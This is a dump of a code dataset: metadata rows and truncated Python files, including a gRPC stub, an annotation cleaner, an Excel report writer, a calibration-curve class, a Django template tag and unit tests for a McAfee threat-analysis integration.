] | 2 | 2020-09-22T11:01:31.000Z | 2020-09-22T11:12:29.000Z | test/py/dubbo/test_pb2_grpc.py | wybosys/nnt.logic.jvm | 249aedd7f8dd03d94dcb0780b91dadacd4b25270 | [
"BSD-3-Clause"
] | null | null | null | test/py/dubbo/test_pb2_grpc.py | wybosys/nnt.logic.jvm | 249aedd7f8dd03d94dcb0780b91dadacd4b25270 | [
"BSD-3-Clause"
] | null | null | null | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
import dao_pb2 as dao__pb2
from dubbo import test_pb2 as dubbo_dot_test__pb2
from google.protobuf import empty_pb2 as google_dot_protobuf_dot_empty__pb2
from goo... | 39.585294 | 107 | 0.641207 |
a2f74f3154db6c2fa6a0dc0f85c4f860e7baa0fa | 1,075 | py | Python | annotation/remove_non_timex_outside_annotation_window.py | dainst/chronoi-corpus-processing | 7f508a7572e1022c4c88d1477db029e6619a1f0c | [
"MIT"
] | null | null | null | annotation/remove_non_timex_outside_annotation_window.py | dainst/chronoi-corpus-processing | 7f508a7572e1022c4c88d1477db029e6619a1f0c | [
"MIT"
] | null | null | null | annotation/remove_non_timex_outside_annotation_window.py | dainst/chronoi-corpus-processing | 7f508a7572e1022c4c88d1477db029e6619a1f0c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import bs4
import sys
def remove_elems(elem: bs4.Tag):
# Descend first so that changes are carried from bottom to the top
for child in elem.children:
if isinstance(child, bs4.Tag):
remove_elems(child)
parent_names = [e.nam... | 29.054054 | 119 | 0.655814 |
0b97bcd89777a07b9eb448ed10ffc591fede9035 | 11,609 | py | Python | easyp2p/excel_writer.py | Ceystyle/easyp2p | 99c32e3ec0ff5a34733f157dd1b53d1aa9bc9edc | [
"MIT"
] | 4 | 2019-07-18T10:58:28.000Z | 2021-11-18T16:57:45.000Z | easyp2p/excel_writer.py | Ceystyle/easyp2p | 99c32e3ec0ff5a34733f157dd1b53d1aa9bc9edc | [
"MIT"
] | 1 | 2019-07-05T09:21:47.000Z | 2019-07-05T09:21:47.000Z | easyp2p/excel_writer.py | Ceystyle/easyp2p | 99c32e3ec0ff5a34733f157dd1b53d1aa9bc9edc | [
"MIT"
] | 2 | 2019-07-05T08:56:34.000Z | 2020-06-09T10:03:42.000Z | # -*- coding: utf-8 -*-
# Copyright (c) 2018-2020 Niko Sandschneider
"""
Module for writing parsed account statements of P2P platforms to Excel.
The combined parsed results of all selected P2P platforms will be written to
an Excel file with three worksheets: daily results, monthly results and total
results for the w... | 33.845481 | 80 | 0.653631 |
f03fe763d24bd0afda773f8014bd43d2a8b9a651 | 718 | py | Python | curva_calibracao.py | datachemistry/Analytix | b552aeef59fe8d009b4355a3573c66394693b39d | [
"MIT"
] | 1 | 2021-01-07T19:17:25.000Z | 2021-01-07T19:17:25.000Z | curva_calibracao.py | datachemistry/Analytix | b552aeef59fe8d009b4355a3573c66394693b39d | [
"MIT"
] | null | null | null | curva_calibracao.py | datachemistry/Analytix | b552aeef59fe8d009b4355a3573c66394693b39d | [
"MIT"
] | null | null | null |
class Curva:
def __init__(self, pontos, lim_inf,lim_sup, unid):
self.pontos = pontos
self.lim_sup = lim_sup
self.lim_inf = lim_inf
self.unid = unid
self.incremento = (self.lim_sup - self.lim_inf)/(self.pontos - 1)
def __str__(self):
return f'... | 25.642857 | 148 | 0.598886 |
d7ba46fd53052bece12c5bec31901ee07c520ff0 | 176 | py | Python | exam_notes/exam_notes/web/templatetags/notes.py | trenev/softuni-python-web-basics | 0fcf6b7f3389d06685d40615c376dc4027e772f2 | [
"MIT"
] | 1 | 2022-03-03T10:16:14.000Z | 2022-03-03T10:16:14.000Z | exam_notes/exam_notes/web/templatetags/notes.py | trenev/softuni-python-web-basics | 0fcf6b7f3389d06685d40615c376dc4027e772f2 | [
"MIT"
] | null | null | null | exam_notes/exam_notes/web/templatetags/notes.py | trenev/softuni-python-web-basics | 0fcf6b7f3389d06685d40615c376dc4027e772f2 | [
"MIT"
] | null | null | null | from django import template
from exam_notes.web.models import Note
register = template.Library()
@register.simple_tag()
def has_note():
return Note.objects.count() > 0
| 16 | 38 | 0.75 |
043dd26f9cf7ba84457536e5a29a024228ebffaf | 4,139 | py | Python | Packs/McAfee_Advanced_Threat_Defense/Integrations/McAfee_Advanced_Threat_Defense/McAfee_Advanced_Threat_Defense_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/McAfee_Advanced_Threat_Defense/Integrations/McAfee_Advanced_Threat_Defense/McAfee_Advanced_Threat_Defense_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/McAfee_Advanced_Threat_Defense/Integrations/McAfee_Advanced_Threat_Defense/McAfee_Advanced_Threat_Defense_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import pytest
import demistomock as demisto
integration_params = {
'baseUrl': 'demi.demi.com',
'username': 'bark',
'password': 'my_password'
}
FILE_UPLOAD_ERROR_ONLY_ONE_ARG = 'You must submit one and only one of the following: url, entryID'
FILE_UPLOAD_ERROR_MUST_GIVE_BOTH_ARGS = 'When submitType is 2 Y... | 42.670103 | 101 | 0.673109 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.